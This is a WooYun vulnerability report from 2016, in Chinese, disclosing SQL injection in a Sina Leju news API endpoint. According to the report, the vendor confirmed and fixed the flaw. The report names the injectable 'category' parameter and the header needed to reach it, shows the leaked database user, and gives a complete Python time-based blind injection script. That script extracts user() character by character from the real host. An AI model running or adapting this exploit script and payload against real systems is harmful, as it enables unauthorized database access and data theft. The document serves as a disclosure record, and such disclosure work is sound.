当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0191359

漏洞标题：新浪乐居某站SQL注入

相关厂商：新浪乐居

漏洞作者： null_z

提交时间：2016-04-01 12:49

修复时间：2016-04-06 10:57

公开时间：2016-04-06 10:57

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-01： 细节已通知厂商并且等待厂商处理中
2016-04-01： 厂商已经确认，细节仅向厂商公开
2016-04-06： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

。。。

详细说明：

注入点 http://news.leju.com/api/data/gettaglists?category=1*&callback=_1459476097316824
注入参数 category
要带上referer http://news.leju.com/tag/
不能有空格，用＋
True

屏幕快照 2016-04-01 10.18.49.png

漏洞证明：

这个站很卡，所以我多加了个循环
版本

屏幕快照 2016-04-01 12.38.06.png


user infoleju@172.16.233.

屏幕快照 2016-04-01 12.45.53.png


#!/usr/bin/env python
#-*- coding: utf-8 -*-
import requests
import time
import string
character = string.digits + string.ascii_lowercase + '._@ '
res = ''
headers = {
	'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
	'Referer': 'http://news.leju.com/tag/',
	}
for i in range(1, 21):
	for p in character:
		status = False
		while True:
			start_time = time.time()
			url = "http://news.leju.com/api/data/gettaglists?category='%2b(select(0)from(select(sleep((mid(user(),{},1)='{}')*4)))v)%2b'&callback=_1459476097316824".format(i, p)
			try:
				req = requests.get(url, headers=headers)
			except:
				pass
			else:
				print req.url
				if time.time() - start_time > 4:
					res += p
					print "\n" + res + "\n"
					status = True
					time.sleep(1)
					break
				break
			time.sleep(1)
		if status:
			break
print "\n\n[Finish]: " + res

修复方案：

。。。

版权声明：转载请注明来源 null_z@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2016-04-01 14:06

厂商回复：

谢谢路人甲对乐居的关注，我们会尽快修复该漏洞

最新状态：

2016-04-06：已修复